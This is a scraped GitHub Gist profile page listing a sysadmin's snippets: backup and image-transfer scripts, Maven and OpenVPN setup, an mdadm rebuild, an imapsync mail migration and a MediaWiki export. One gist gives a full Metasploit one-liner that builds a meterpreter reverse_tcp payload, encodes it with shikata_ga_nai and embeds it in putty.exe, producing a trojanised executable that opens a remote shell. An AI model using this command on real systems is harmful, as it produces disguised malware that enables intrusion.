Skip to content

Instantly share code, notes, and snippets.

View JCotton1123's full-sized avatar

Jesse Cotton JCotton1123

View GitHub Profile
@JCotton1123
JCotton1123 / cloud-files-backup.sh
Last active August 29, 2015 14:08
Cloud Files backup script - written in sh
#!/bin/sh
# Backup script for uploading backups to Cloud Files
# Intended for old servers where other sol'ns won't run.
# Notes:
# * Splits files so they do not exceed the 5GB limit
# * Sets uploaded files to be deleted automatically to maintain a
# proper backup window.
# * Uploads all files as dynamic objects (google this if you care)
@JCotton1123
JCotton1123 / cloud-image-transfer.sh
Last active August 29, 2015 14:08
cloud-image-transfer.sh
#!/bin/bash
#
# Author: Andrew Howard
# This script will copy an image from one region to another.
# BE AWARE: This will incur charges for the customer. These charges
# can be minimized by using ServiceNet for the download and by choosing
# to auto-delete the Cloud Files content once the transfer is complete.
# Even with these precautions, the customer will be charged for storage
# fees in Cloud Files (for a single month) and Cloud Images (destination).
# Note: To use ServiceNet, this script MUST be run on a Cloud Server
@JCotton1123
JCotton1123 / maven-setup.sh
Last active August 29, 2015 14:08
Get maven setup
yum install -y java-1.7.0-openjdk-devel
wget http://apache.spinellicreations.com/maven/maven-3/3.2.3/binaries/apache-maven-3.2.3-bin.tar.gz
sudo tar xzf apache-maven-3.2.3-bin.tar.gz -C /usr/local
cd /usr/local
sudo ln -s apache-maven-3.2.3 maven
cat <<VARS > /etc/profile.d/maven.sh
export M2_HOME=/usr/local/maven
export PATH=${M2_HOME}/bin:${PATH}
@JCotton1123
JCotton1123 / gist:8241a2c5800951084345
Created October 23, 2014 22:28
Load a metasploit payload into putty
./msfpayload windows/meterpreter/reverse_tcp LHOST=169.254.141.18 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /tmp/putty.exe -o /tmp/puttyx.exe
@JCotton1123
JCotton1123 / gist:097de56d60680379995c
Created October 4, 2014 02:33
OpenVPN client settings
# Daemon options
verb 3
client
# Connection options
dev tun
remote <ip address> <port>
resolv-retry infinite
nobind
persist-key
@JCotton1123
JCotton1123 / gist:e07b74c3e903239a1de5
Created October 4, 2014 02:10
Setup site-to-site OpenVPN
yum install -y openvpn
Within /etc/sysctl.conf:
net.ipv4.ip_forward = 1
net.ipv4.conf.default.rp_filter = 0
Add to /etc/sysconfig/iptables:
-A INPUT -m conntrack --ctstate NEW -m udp -p udp --dport 1194 -j ACCEPT
@JCotton1123
JCotton1123 / gist:367b293581b063919078
Last active August 29, 2015 14:06
mdadm rebuild array
mdadm --manage /dev/md1 --fail /dev/sdd1
mdadm --manage /dev/md1 --remove /dev/sdd1
sfdisk -d /dev/sdc | sfdisk /dev/sdd
mdadm --manage /dev/md1 --add /dev/sdd1
watch 'cat /proc/mdstat | grep -A 2 "md1"'
@JCotton1123
JCotton1123 / imap-sync-gmail.sh
Last active March 5, 2023 18:25
Sync mail to gmail
#!/usr/local/bin/bash
#Remember to set
#export MAIL_SYNC_SRC=
user1=$1
user2=$2
passwd_file=$3
imapsync --host1 $MAIL_SYNC_SRC --user1 "$user1" --passfile1 "$passwd_file" --ssl1 --port1 993\
@JCotton1123
JCotton1123 / gist:7da304f8ad7b6497075a
Last active August 29, 2015 14:06
course material

Basics

  • Markdown (its becoming ubiquitous)
  • Basic system concepts
    • What is an Operating System and what does it provide?
    • Kernel vs user-land
  • Basic networking concepts
    • Stack (TCP/IP)
  • Layers
@JCotton1123
JCotton1123 / media-wiki-to-github-wiki.php
Created August 27, 2014 20:41
Media Wiki to Github Wiki
<?php
/**
Export the pages from a Media Wiki instance into a directory for
import into a Github Wiki.
## Procedure
1) Set the database credentials in this file
2) Create the repository and wiki if not done already. Make sure
to specify the home page is marked down using the Media Wiki format.